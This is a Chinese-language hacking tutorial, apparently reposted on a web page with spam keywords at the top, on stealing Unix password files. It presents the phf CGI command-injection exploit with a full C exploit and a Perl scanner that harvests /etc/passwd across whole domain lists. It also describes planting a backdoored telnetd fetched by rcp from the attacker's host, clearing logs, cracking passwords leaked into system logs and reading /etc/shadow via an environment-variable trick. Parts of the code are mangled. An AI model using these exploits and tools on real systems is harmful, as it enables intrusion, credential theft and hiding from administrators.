亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

從UNIX系統(tǒng)獲取密碼檔(一)

互聯(lián)網(wǎng)   發(fā)布時(shí)間:2008-10-08 19:04:37   作者:佚名   我要評(píng)論
目錄: PHF:WWW的PH查詢 PHF查詢攻擊新方法 從新手處獲取 獲取shadow密碼檔 獲取/etc/hosts檔 本文列舉了幾種從UNIX系統(tǒng)獲取密碼檔的方法。其中大多數(shù)方法要求你擁有一個(gè) 有效帳號(hào);但也有不需帳號(hào)也可訪問系統(tǒng)的方法。在這里你還能知道完整
目錄:
PHF:WWW的PH查詢
PHF查詢攻擊新方法
從新手處獲取
獲取shadow密碼檔
獲取/etc/hosts檔
本文列舉了幾種從UNIX系統(tǒng)獲取密碼檔的方法。其中大多數(shù)方法要求你擁有一個(gè)
有效帳號(hào);但也有不需帳號(hào)也可訪問系統(tǒng)的方法。在這里你還能知道完整的密碼檔與
shadow密碼檔的區(qū)別,并學(xué)習(xí)到如何讀取shadow密碼檔。
--------------------------------
PHF:WWW的PH查詢
如果在WWW的cgi-bin的目錄下有一個(gè)名為phf的可執(zhí)行(具有x權(quán)限)程序,那么你就
可以通過WWW或LINUX的文本瀏覽器lynx訪問它。該功能允許你讀取系統(tǒng)上的文件,如
/etc/passwd等,并保存在本地機(jī)上。
以下是我們所需要做的。如果httpd服務(wù)器是由root根用戶運(yùn)行的,通過使用phf,我
們可以成為該服務(wù)器的root用戶;甚至修改服務(wù)器上某個(gè)用戶的密碼。
這里有一個(gè)perl腳本,它對(duì)使用上一章中的getdomain.pl腳本所得到的結(jié)果進(jìn)行檢測(cè),
并檢查運(yùn)行服務(wù)器的用戶。如果是root用戶,它就記錄其id;如果不是root用戶,則會(huì)自動(dòng)
從/etc目錄下讀取passwd檔,并保存為domain.???.passwd文件。
我還會(huì)給出另一個(gè)腳本,它允許你從一個(gè)shell中運(yùn)行一條命令。只要該系統(tǒng)有phf,
你就可以在shell中輸入一命令行,通過管道命令傳送到遠(yuǎn)程系統(tǒng)上執(zhí)行。
OK?,F(xiàn)在你該知道下一步是什么了?讓我們來學(xué)習(xí)如何利用phf。
把你最喜愛的web瀏覽器或是UNIX系統(tǒng)中經(jīng)常使用的lynx文本瀏覽器連接到網(wǎng)絡(luò)上。
在瀏覽器窗口或屏幕出現(xiàn)后,鍵入g(譯者注:即使用瀏覽器的“go”功能)。便會(huì)
出現(xiàn)以下內(nèi)容(譯者注:以lynx為例):
URL to open:
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
在URL to open: 處輸入:http://xxx.org/cgi-bin/phf/?Qalias=x id
URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x id
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
返回如下內(nèi)容:
QUERY RESULTS

/usr/local/bin/ph -m alias=x id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
以上內(nèi)容表明:運(yùn)行服務(wù)器的用戶是nobody。因此,我們便成為了該服務(wù)器的nobody
用戶。雖然我們還不是root用戶,但必將是。 ;-)
命令行:
http://afp.org/cgi-bin/phf/?Qalias=x id
id是一個(gè)命令,它要求服務(wù)器返回用戶的id。有時(shí)我們需要給出全路徑,比如:http://afp.org/cgi-bin/phf/?Qalias=x /usr/bin/id
注意 后面是命令行內(nèi)容。如果你想輸入一個(gè)空格符,就要用 代替,以下是經(jīng)常
要用到的幾個(gè)命令行:(以 開始)
顯示passwd密碼檔:
/bin/cat /etc/passwd
獲取/etc目錄下所有以pass開始的詳細(xì)文件列表:
ls -al /etc/pass*
如果你有訪問http的root用戶權(quán)限,備份passwd文件為passwd.my文件:
cp /etc/passwd /etc/passwd.my
更改root用戶密碼(服務(wù)器往往會(huì)允許你這樣做 ;-) ):
passwd root
(以上命令可以讓你在以root用戶登錄時(shí)不需輸入密碼,(譯者注:也就是更改root用戶
的密碼為空,然后再telnet該主機(jī)。)別忘了將passwd.my恢復(fù)為passwd(譯者注:恢復(fù)
root用戶的舊密碼),刪除備份文件,然后你就可以運(yùn)行一個(gè)合適的shell,并將其隱藏起來
作為嗅探器(sniffer)來獲取所需的密碼了。)
只要你知道如何在UNIX中輸入命令,同時(shí)沒有忘記使用 來代替空格符,你就不會(huì)遇
到什么困難!
OK?,F(xiàn)在讓我們來獲取本例中的passwd檔吧。;-)
URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x cat /etc/passwd
我們將會(huì)看到:
QUERY RESULTS

/usr/local/bin/ph -m alias=x cat /etc/passwd
root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
(一個(gè)小小的密碼檔 ;-) )
如果你希望保存這個(gè)文件,只要在文本瀏覽器中選擇“打印”和“保存
為文件”即可。
現(xiàn)在讓我們了解一下paaswd檔的結(jié)構(gòu):
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
1 :2 :3 :4 :5 :6 :7
1=用戶名 2=被加密的密碼 3=用戶標(biāo)識(shí) 4=用戶組id 5=真實(shí)名字
6=用戶根目錄 7=shell
好。假設(shè)你不想使用WWW瀏覽器,編譯并執(zhí)行以下腳本也可以達(dá)到目的:
phf.c
------ cut here----
/* Some small changes for efficiency by snocrash. */
/*
* cgi-bin phf exploit by loxsmith [xf]
*
* I wrote this in C because not every system is going to have lynx. Also,
* this saves the time it usually takes to remember the syntatical format
* of the exploit. Because of the host lookup mess, this will take
* approximately 12 seconds to execute with average network load. Be patient.
*
*/
#include
#include
#include
#include
#include
#include
#include
int main(argc, argv)
int argc;
char **argv;
{
int i = 0, s, port, bytes = 128;
char exploit[0xff], buffer[128], hostname[256], *command, j[2];
struct sockaddr_in sin;
struct hostent *he;
if (argc != 3 && argc != 4) {
fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
exit(1);
}
command = (char *)malloc(strlen(argv[1]) * 2);
while (argv[1][i] != '\0') {
if (argv[1][i] == 32) strcat(command, " "); else {
sprintf(j, "%c", argv[1][i]);
strcat(command, j);
}
i;
}
strcpy(hostname, argv[2]);
if (argc == 4) port = atoi(argv[3]); else port = 80;
if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
he = gethostbyname(hostname);
if (he) {
sin.sin_family = he->h_addrtype;
memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],
he->h_length);
} else {
fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
exit(1);
}
}
sin.sin_family = AF_INET;
sin.sin_port = htons((u_short) port);
if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "%s: could not get socket\n", argv[0]);
exit(1);
}
if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
close(s);
fprintf(stderr, "%s: could not establish connection\n", argv[0]);
exit(1);
}
sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X% %s\n", command);
free(command);
write(s, exploit, strlen(exploit));
while(bytes == 128) {
bytes = read(s, buffer, 128);
fprintf(stdout, buffer);
}
close(s);
}
-------- cut here
使用舉例:
bash% phf id xxx.org
------
Query Results

/usr/local/bin/ph -m alias=X
id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
</GET /cgi-bin/phf/?Qalias=X id
------
以上是系統(tǒng)對(duì)程序的響應(yīng)。再說一次,使用 代替命令行中的空格符。
使用如下格式可顯示passwd檔:
phf cat /etc/passwd hostname.xxx
另外,Quantumg在他的主頁(yè)上提供了利用phf的新方法,我覺得有必要讓大家
了解一下。
內(nèi)容如下:
--------------------------------------------------------------------------------
Phf 查詢攻擊新方法
是的。我知道phf攻擊已經(jīng)是眾所周知了,但你會(huì)奇怪為什么還有那么多笨的
LINUX用戶。。。
首先...先介紹一下背景:
phf是Apache上WWW服務(wù)器的cgi-bin命令。它存在缺陷,其后果是允許任何人以運(yùn)行
http服務(wù)器用戶的身份執(zhí)行命令。通常該用戶是nobody,但有時(shí)是root。要利用這一
缺陷,只需簡(jiǎn)單地連接了該WEB服務(wù)器,并執(zhí)行以下查詢:
GET /cgi-bin/phf/?Qalias=X
其后跟著你所希望運(yùn)行的命令(用 代替空格符)。
OK。以下是攻擊方法。我們所要做的就是尋找存在phf漏洞的LINUX服務(wù)器。(我
經(jīng)常telnet到issue.net查找。)和大多數(shù)人一樣,我使用Loxsmith編寫的phf程序。
該程序要求把目標(biāo)主機(jī)名放在第二個(gè)參數(shù),而所要執(zhí)行的命令放在第一個(gè)參數(shù):
phf id www.host.to.hack
這里id就是所要執(zhí)行的命令,這往往是我第一步都會(huì)做的。因?yàn)樗粌H告訴你此
系統(tǒng)是不存在此漏洞,還可以提供httpd用戶的信息。因此,如果我們得到一個(gè)理想
的響應(yīng),那就意味它就是我們的目標(biāo)了。第一件事是獲取目標(biāo)主機(jī)上的有用資料,
這并不是一件難事。你可以 (1)、檢查是否有可讀寫的ftp目錄;(2)使用rcp
(這是我最喜歡用的)。為了使用這個(gè)命令,你需要對(duì)本地主機(jī)進(jìn)行設(shè)置。(如果
本地主機(jī)是你hack過的,那就好辦多了。)首先是獲得有效的用戶帳號(hào),名字應(yīng)該
簡(jiǎn)單而不易被注意(如:test);其次,把目標(biāo)主機(jī)名寫入本地主機(jī)的/etc/host.equiv
中;接著就是在/etc/inetd.conf中必須有shell行;最后,在用戶(test)根目錄下建立
含有目標(biāo)主機(jī)名和httpd用戶的.rhost文件。如下:
/etc/hosts.equiv:
www.host.to.hack
/etc/inetd.conf:
shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L
~test/.rhosts:
www.host.to.hack nobody
好。一旦一切都設(shè)置好了,便可以從遠(yuǎn)程主機(jī)上獲取資料了。
我以前采用的hack方法,都是將經(jīng)過多次修改的小hack代碼傳送給phf執(zhí)行。
這并是一件輕松的事情,而且效率也不高。現(xiàn)在我找到了一個(gè)更好的解決辦法
被傳送的是一個(gè)經(jīng)過修改的in.telnetd,它被改為在“debug”方式下啟動(dòng),“debug”
方式將允許從端口9999登錄,而且執(zhí)行的shell是/bin/sh,而不是/bin/login。
該in.telnetd允許在端口9999接受任意多的連接和執(zhí)行shell。
因而,為了使遠(yuǎn)程主機(jī)做到這一點(diǎn),所要做的就是將其放入用戶根目錄,
并確保可讀。然后執(zhí)行:
phf 'rcp test@my.ip.address:bindwarez /tmp' www.host.to.hack
在本地日志文件中,你會(huì)看到一個(gè)與in.rshd的連接和它所執(zhí)行的命令(如:
rcp -f bindwarez)...當(dāng)phf執(zhí)行完后,bindwarez會(huì)被復(fù)制到遠(yuǎn)程主機(jī)上的/tmp
目錄下,于是你便可以執(zhí)行這個(gè)文件并遠(yuǎn)程登錄到端口9999。
如果這個(gè)網(wǎng)站的用戶笨到以root運(yùn)行http,你就可以通過安裝一個(gè)in.telnetd
特洛木馬并清除日志,以獲得root用戶的密碼。然而,在大多數(shù)情況下,你只能
獲得nobody權(quán)限,需要通過系統(tǒng)的其它漏洞去“黑”root用戶。我常常發(fā)現(xiàn)這并不
困難,因?yàn)橄到y(tǒng)管理員往往認(rèn)為沒有人會(huì)在WWW服務(wù)器上運(yùn)行shell,因而沒有必要
設(shè)置安全系統(tǒng)。很顯示,他們并不了解自己的系統(tǒng)是否存在phf缺陷。
在這里,我不必再次強(qiáng)調(diào)清除日志的重要性。你在rcp命令中輸入的地址是可以讓
系統(tǒng)管理員輕易發(fā)現(xiàn)的。這些日志通常在/usr/local/etc/httpd/logs或/var/lib/http/logs下。
最簡(jiǎn)單的方法是在這些路徑上查找它。如果找不到,可以執(zhí)行find / -name cgi-bin。
另外,不要忘記清除indwarez進(jìn)程和刪除/tmp/bindwarez文件。
這個(gè)非常巧妙的攻擊方法讓phf做你想做的事,而phf對(duì)此卻無可奈何。 ;-))
L8s
QuantumG
另一個(gè)利用phf的方法就是執(zhí)行以下腳本。它使用了從rs.internic.net下載并用
getdomain.pl分析出的域名文件。geturl.pl腳本可以探測(cè)網(wǎng)絡(luò)上的每一臺(tái)domain。
腳本內(nèi)容如下:
geturl.pl
#!/usr/bin/perl -w
#
# geturl by Nfin8 / Invisible Evil
# Questions to: /msg i-e or /msg i^e
#
# Format of http://website.dom/cgi-bin/phf?Qalias=x /usr/bin/id
# Format of http://website.dom/cgi-bin/phf?Qalias=x /bin/cat /etc/passwd
# IF result of first command returns an "id=" then check for user. If user
# is not root then execute the 2nd form.
# Assign null list to @URLs which will be added to later.
my(@URLs)=();
my($program) = "lynx -dump";
# Pull off filename from commandline. If it isn't defined, then assign default.
my($URLfilename) = shift;
$URLfilename = "urls" if !defined($URLfilename);
# Do checking on input.
die("GetURL: $URLfilename is a directory.\n") if (-d $URLfilename);
# Open and read contents of URL file into @URL by line.
open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input.\n");
@URLs = ;
close(FILE);
# Open output file.
open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");
my($url)="";
foreach $url (@URLs) {
print ("Now checking: $url");
chomp($url);
$result = `$program http://$/cgi-bin/phf?Qalias=x /usr/bin/id`;
print OUTFILE ("\n============ $url ============\n");
foreach (split(/\n/, $result)) {
print OUTFILE ("?用戶名:@HackBase.net密?碼:
\n");
}
if ($result =~ m/id=/i) {
if ($result =~ m/root/i) {
print ("Logging root response.\n");
} else {
print ("Got ID response, getting /etc/passwd...");
$result = `$program http://$/cgi-bin/phf?Qalias=x /bin/cat /etc/passwd`;
# Output results to file named .passwd;
local($domainfilename)="";
$domainfilename = $url;
if (open(PASSWDFILE, ">$.passwd")) {
print PASSWDFILE ("\n");
foreach (split(/\n/, $result)) {
print PASSWDFILE ("?用戶名:@HackBase.net密?碼:
\n");
}
close(PASSWDFILE);
print ("Done! [$domainfilename].\n");
} else {
print ("FAILED! [$domainfilename].\n");
}
}
}
}
# We are done. Close the output file and end the program.
close (OUTFILE);
0;

------------- cut here
OK。這很簡(jiǎn)單吧。如果你定義了自己的域名文件urls,也可以使用geturl.pl。
以下是腳本文件說明:
這個(gè)輕巧的工具非常容易使用。它可以幫助你取得root用戶權(quán)限和從不同的
domain獲取passwd密碼檔。
geturl.pl試圖記錄Internet上每臺(tái)domain對(duì)phf的響應(yīng)結(jié)果。你可以選擇.com .edu
.org .mil .gov或是需要探測(cè)的IP地址列表。一旦發(fā)現(xiàn)具有root權(quán)限的用戶,便在結(jié)果
文件中記錄uid=root,然后繼續(xù)探測(cè)下一臺(tái)domain。如果phf探測(cè)器找到的用戶沒有
root權(quán)限,它就會(huì)讀取該domain上的passwd密碼檔,并在當(dāng)前目錄下以domain.???.passwd
文件名保存。
以下是此工具的使用說明:
ftp到rs.internic.net站點(diǎn)
在domain目錄下尋找:
com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz
下載這些文件并對(duì)目標(biāo)主機(jī)所屬域名文件運(yùn)行g(shù)etdomain.pl,如:
perl getdomain.pl com.zone com >com.all
該腳本會(huì)分析出.com域的所有主機(jī)名并輸出到文件com.all中。
如果希望分析.edu域,輸入:
perl getdomain.pl edu.zone edu >edu.all
你便會(huì)有一個(gè)供geturl.pl使用的文件edu.all。
使用geturl.pl的格式如下:
geturl.pl
用edu.all或com.all代替
如果你定義了域名文件urls,運(yùn)行g(shù)eturl.pl時(shí)不需。
運(yùn)行結(jié)果被記錄到當(dāng)前目錄下的GetURLResults文件中。
1. geturl.pl使用lynx進(jìn)行搜索(lynx要在查找路徑中)。
2. 如果geturl.pl發(fā)現(xiàn)在一個(gè)url的httpd上獲得了root權(quán)限,就會(huì)記錄該root用戶。
如果http用戶不是root,但該用戶具有在http上執(zhí)行phf權(quán)限,就會(huì)抓取該
domain的passwd檔,并以fulldomainname.passwd的文件保存到當(dāng)前目錄下。
3. 你也可以提供包含了IP地址列表的文件供geturl.pl使用。
4. 我使用的是OS/2的lynx和perl,在長(zhǎng)文件名方面沒有遇到問題。我在UNIX機(jī)
進(jìn)行了測(cè)試,該程序也可以正常工作。
你需要:
1. Perl在查找路徑中
2. Lynx在查找路徑中
3. 長(zhǎng)文件名(256字符)支持(如UNIX或OS/2)
4. 本文所列出和包含的所有文件
5. 從Internic站點(diǎn)下載的域名文件或自行制作的url或IP列表文件(取名為urls,
運(yùn)行時(shí)僅輸入geturl.pl)
注意事項(xiàng):
如果你有一個(gè)現(xiàn)金付費(fèi)的互聯(lián)網(wǎng)帳號(hào)或通過hack而得到的帳號(hào)使用此工具來獲取
成果,那就最好了。然后便可以用另一個(gè)安全的帳號(hào)使用你的勞動(dòng)成果了。但我并不
必警告你這些,對(duì)吧?我對(duì)這些工具并不覺得羞恥。這里提供的工具是讓你們檢查
domain的安全性。;-)
getdomain.pl: 分析.org .com .edu .mil .gov等internic域名文件
geturl.pl: 檢測(cè)并記錄每一臺(tái)domain的響應(yīng)結(jié)果
GetURLResults: geturl.pl程序的結(jié)果記錄文件

這里還有另外一種方法:
如果你能讀取/var/adm/messages文件,或許你能輕而易舉地得到一些用戶的密碼!
我曾經(jīng)采用這種方法獲得過root用戶的密碼!
還記得有多少次你是急著登錄的嗎?你可能因此而在login:里輸入了密碼:這種
事情是很容易發(fā)生的。這樣你就會(huì)出現(xiàn)兩次登錄失敗,系統(tǒng)就在這個(gè)時(shí)候胡所動(dòng)作了。
例如:(假設(shè)你很急著登錄而沒有留意屏幕)
Login: (你鍵入回車(而你此時(shí)并不知道))
Password: (你以為現(xiàn)在開始登錄了,便輸入用戶名)
Login: (然后輸入用戶密碼)
此時(shí)系統(tǒng)會(huì)在messages文件中產(chǎn)生如下記錄:
Login: (這里是你的用戶密碼?。。。?
Password ****** (系統(tǒng)當(dāng)然不會(huì)給你看見密碼了!?但由于你在Login:處輸入了
用戶密碼,只要我們有讀取messages文件的權(quán)限,就會(huì)得到用戶密碼,并供crackerjack
運(yùn)行(以找出對(duì)應(yīng)的用戶)。如果是在一個(gè)小型系統(tǒng),或許...就是root密碼!;-))
以上這些工作可以由以下腳本輕易完成!
對(duì)于Quantum的bindwarez文件,你可以在附錄中找到。
------------ cut here
#!/bin/sh
# Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0)
# /var/log/messages is world readable. If a user types in his password at
# the login prompt, it may get logged to /var/log/messages.
#
# I could swear this topic has been beaten to death, but I still see this
# problem on every linux box I have access to.
#
# Dave G.
# 12/06/96
#
# http://www.escape.com/~daveg
echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$
grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$
if [ ! -e ./scrack ]
then
echo "Creating scrack.c"
cat scrack.c
#include
#include
#include

#include
#define get_salt( d, s ) strncpy( d, s, 2 )
void
main(argc,argv)
int argc;
char **argv;
{
struct passwd *pwd;
FILE *fp;
char buff[80], salt[3], *encrypted_string;
if ( ( fp = fopen( argv[1], "r" ) ) == NULL )
{
fprintf( stderr, "Couldnt find dict file\n" );
exit(1);
}
while ( fgets( buff, 80, fp ) != NULL )
{
setpwent();
buff[strlen(buff)-1]='\0';
while ( ( pwd = getpwent() ) != NULL )
{
if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 &&
( strlen( (*pwd).pw_passwd ) == 13 ) )
{
get_salt(salt, (*pwd).pw_passwd );
encrypted_string = crypt( buff, salt );
if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 )
{
fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff);
fflush(stdout);
}
}
}
}
}
!
echo "Creating scrack"
cc -O6 -fomit-frame-pointer -s -o scrack scrack.c
fi
./scrack /tmp/messages.dict.$
echo /tmp/messages.dict.$, ./scrack, and ./scrack.c still exist, delete them yourself.
------ cut here
--------------------------------------------------------------------------------
從新手處獲取
好。重復(fù)一次,這是獲取密碼的另一種方法。只要按照第二章所談到的相關(guān)
內(nèi)容去做就行了。運(yùn)用你的智慧去與那些尚未成熟的“新手”交朋友吧。;-)
對(duì)了。在閱讀本手冊(cè)前,你可能曾經(jīng)也是別人的“新手”朋友呢!;-)
--------------------------------------------------------------------------------
獲取shadow密碼檔
什么是shadow密碼檔呢?
舉個(gè)例子,如果你利用上述方法取回來的passwd檔,其內(nèi)容如下:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
man:x:13:15:man:/usr/man:
postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:x:-2:100:nobody:/dev/null:
ftp:x:404:1::/home/ftp:/bin/bash
guest:x:405:100:guest:/dev/null:/dev/null
bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:x:502:100:Web Master:/home/web:/bin/bash
mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash
是不是少了點(diǎn)東西?噢,被加密的密碼。如果你有root權(quán)限,就會(huì)在/etc/shadow中
找到這些被加密的密碼。某些系統(tǒng)管理員會(huì)將shadow檔隱藏到其他隱蔽的目錄下。但
多數(shù)情況下,你可以在/etc目錄下找到。有一些shadow程序會(huì)將密碼保存到master.passwd
文件中。但只要你有root權(quán)限,總有地方可以找到它。
現(xiàn)在,假設(shè)你有一個(gè)有效帳號(hào),但沒有root權(quán)限。
如果主機(jī)使用的是libc5.4.7(多數(shù)系統(tǒng)都使用它 ;-) ),而且下列文件之一要求
必須有suid權(quán)限:
ping, traceroute, rlogin, or, ssh
1. 輸入bash或sh以啟動(dòng)一個(gè)bash shell
2. 輸入: export RESOLV_HOST_CONF=/etc/shadow
3. 輸入以上文件名之一,并加上asdf參數(shù),如:
ping asdf
如果一切正常,你就會(huì)得到shadow密碼檔。
這個(gè)方法對(duì)于我這幾天在許多系統(tǒng)中進(jìn)行的測(cè)試均很有效。
注:你可用所希望讀取的文件名(文件擁有者是root)來取代/etc/shadow。
以下腳本可以讓你輕而易舉地讀取所需要的文件:
rcb.c
-------- cut here
/* RCB Phraser - therapy in '96
* Limits: Linux only, no binary files.
* little personal message to the world: FUCK CENSORSHIP!
*/
#include
void getjunk(const char *filetocat)
{ setenv("RESOLV_HOST_CONF",filetocat,1);
system("ping xy 1> /dev/null 2> phrasing");
unsetenv("RESOLV_HOST_CONF");
}
void main(argc,argv)
int argc; char **argv;
{ char buffer[200];
char *gag;
FILE *devel;
if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help")))
{ printf("RCB Phraser - junked by THERAPY\n\n");
printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]);
exit(1);
}
getjunk(argv[1]);
gag=buffer;
gag =10;
devel=fopen("phrasing","rb");
while(!feof(devel))
{ fgets(buffer,sizeof(buffer),devel);
if(strlen(buffer)>24)
{ strcpy(buffer strlen(buffer)-24,"\n");
fputs(gag,stdout);
}
}
fclose(devel);
remove("phrasing");
}
-------------- cut here
命令行:rcb /etc/shadow (或其他你在這個(gè)系統(tǒng)中不能讀取的文件。;-) )

--------------------------------------------------------------------------------
獲取/etc/hosts檔
需要注意的是,有時(shí)你需要知道有哪些系統(tǒng)在hosts文件中,或在這個(gè)系統(tǒng)中有哪些
其他domain和所有的IP地址,因此,不要忘了讀取/etc/hosts文件以獲得以后你可能需要的
資料。

相關(guān)文章

最新評(píng)論